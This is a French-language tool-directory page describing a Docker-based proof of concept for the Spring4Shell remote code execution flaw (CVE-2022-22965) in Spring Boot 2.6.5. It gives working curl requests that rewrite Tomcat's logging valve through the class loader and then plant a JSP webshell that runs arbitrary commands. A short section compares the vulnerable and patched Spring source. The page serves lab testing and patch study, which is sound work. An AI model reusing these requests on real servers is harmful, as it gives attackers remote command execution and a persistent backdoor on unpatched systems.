Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/itsecurityco/cve-2022-22965
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Preuve de concept basée sur Docker pour la vulnérabilité d'exécution de code à distance CVE-2022-22965 (Spring4Shell) dans Spring Boot 2.6.5, avec déploiement automatisé de webshell et comparaison de correctifs.

Voir le dépôt
16313il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Spring Boot CVE-2022-22965

PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5

Shell

🚀 Pour commencer

  1. Téléchargez le code de distribution depuis https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip et décompressez-le.
  2. Exécutez docker compose up --build pour construire et démarrer l'application vulnérable.
  3. Exécutez curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" pour modifier la valve de configuration Tomcat.
  • Exécutez curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" pour créer le webshell.
  • Ouvrez votre navigateur et allez sur http://localhost:8080/shell.jsp?1337=id pour commencer à exécuter des commandes.

  • 🔎 Révision du correctif

    Le code source de Spring Framework 5.3.17 (vulnérable) et de Spring Framework 5.3.18 (corrigé) peut être téléchargé respectivement depuis :

    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    root@kitploit:~
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    

    La vulnérabilité se trouve dans le fichier /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java à la ligne 290 où une validation est appliquée pour les méthodes Class.getClassLoader() et getProtectionDomain() mais pas pour les types ClassLoader, ProtectionDomain et les noms des PropertyDescriptors.

    La différence entre le code vulnérable et le code corrigé peut être obtenue avec la commande diff.

    root@kitploit:~
    $ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
    

    Patch


    Crédits

    • Recherche originale: @p1n93r
    • Remerciements: @fmunoz
    Télécharger l’outil